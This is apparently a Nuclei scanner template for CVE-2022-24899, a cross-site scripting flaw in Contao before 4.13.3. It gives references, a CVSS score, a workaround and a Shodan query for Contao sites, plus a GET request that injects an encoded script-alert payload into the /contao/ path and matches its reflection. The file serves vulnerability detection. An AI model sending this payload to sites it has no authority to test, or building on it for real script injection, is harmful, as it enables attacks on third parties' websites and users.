id: CVE-2022-24899

info:
  name: Contao <4.13.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Contao prior to 4.13.3 contains a cross-site scripting vulnerability.  It is possible to inject arbitrary JavaScript code into the canonical tag.
  reference:
    - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
    - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24899
  remediation: As a workaround, users may disable canonical tags in the root page settings.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24899
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Contao"
  tags: cve,cve2022,contao,xss,huntr

requests:
  - method: GET
    path:
      - "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - '"Not authenticated"'
        condition: and

      - type: word
        part: header
        words:
          - text/html

# Enhanced by mp on 2022/09/14